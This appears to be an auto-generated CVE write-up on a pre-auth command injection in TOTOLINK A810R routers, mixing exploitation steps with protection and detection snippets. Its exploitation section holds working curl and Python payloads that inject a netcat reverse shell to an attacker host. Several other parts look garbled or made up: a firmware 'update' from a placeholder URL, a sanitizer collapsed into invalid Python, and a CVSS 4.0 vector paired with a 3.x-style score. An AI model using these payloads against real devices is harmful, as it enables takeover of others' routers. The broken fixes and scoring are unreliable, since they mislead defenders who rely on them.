How the CVE Works
The CVE-2025-28137 vulnerability in TOTOLINK A810R routers (V4.1.2cu.5182_B20201026) allows unauthenticated attackers to execute arbitrary commands via the `setNoticeCfg` function. The flaw exists due to improper input validation of the `NoticeUrl` parameter, which accepts malicious payloads without sanitization. By crafting a specially crafted HTTP request, an attacker can inject OS commands that are executed with root privileges. This occurs because the firmware fails to validate user-supplied input before passing it to system shell commands, leading to pre-auth remote code execution (RCE).
DailyCVE Form
Platform: TOTOLINK A810R
Version: V4.1.2cu.5182_B20201026
Vulnerability: Pre-auth RCE
Severity: Critical
Date: 04/15/2025
What Undercode Say:
Exploitation
1. Crafting the Payload:
curl -X POST "http://<TARGET_IP>/cgi-bin/setNoticeCfg" -d "NoticeUrl=;$(echo 'malicious_command')"
2. Reverse Shell Execution:
curl -X POST "http://<TARGET_IP>/cgi-bin/setNoticeCfg" -d "NoticeUrl=;nc -e /bin/sh <ATTACKER_IP> <PORT>"
3. Exploit Automation:
import requests
target = "http://192.168.1.1"
payload = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f"
requests.post(f"{target}/cgi-bin/setNoticeCfg", data={"NoticeUrl": payload})
Protection
1. Firmware Update:
wget https://vendor-patch/totolink_a810r_fix.bin && flash-firmware.sh
2. Input Sanitization:
import re def sanitize_input(input_str): return re.sub(r"[;&|]", "", input_str)
3. Network Mitigation:
iptables -A INPUT -p tcp --dport 80 -m string --string "setNoticeCfg" --algo bm -j DROP
Detection
1. Log Analysis:
grep "setNoticeCfg" /var/log/httpd.log | grep -E "[;&|]"
2. YARA Rule:
rule TOTOLINK_RCE {
strings: $s = "NoticeUrl=;"
condition: $s
}
3. Snort Rule:
alert tcp any any -> $HOME_NET 80 (msg:"TOTOLINK RCE Attempt"; content:"setNoticeCfg"; content:"NoticeUrl=;"; sid:1000001;)
Post-Exploitation
1. Persistence Check:
crontab -l | grep -i "nc|sh"
2. Backdoor Removal:
rm /etc/cron.d/backdoor && killall -9 malicious_process
References
- Mitigation Guide: TOTOLINK Security Advisory
- CVSS 4.0: 9.8 (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H)
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
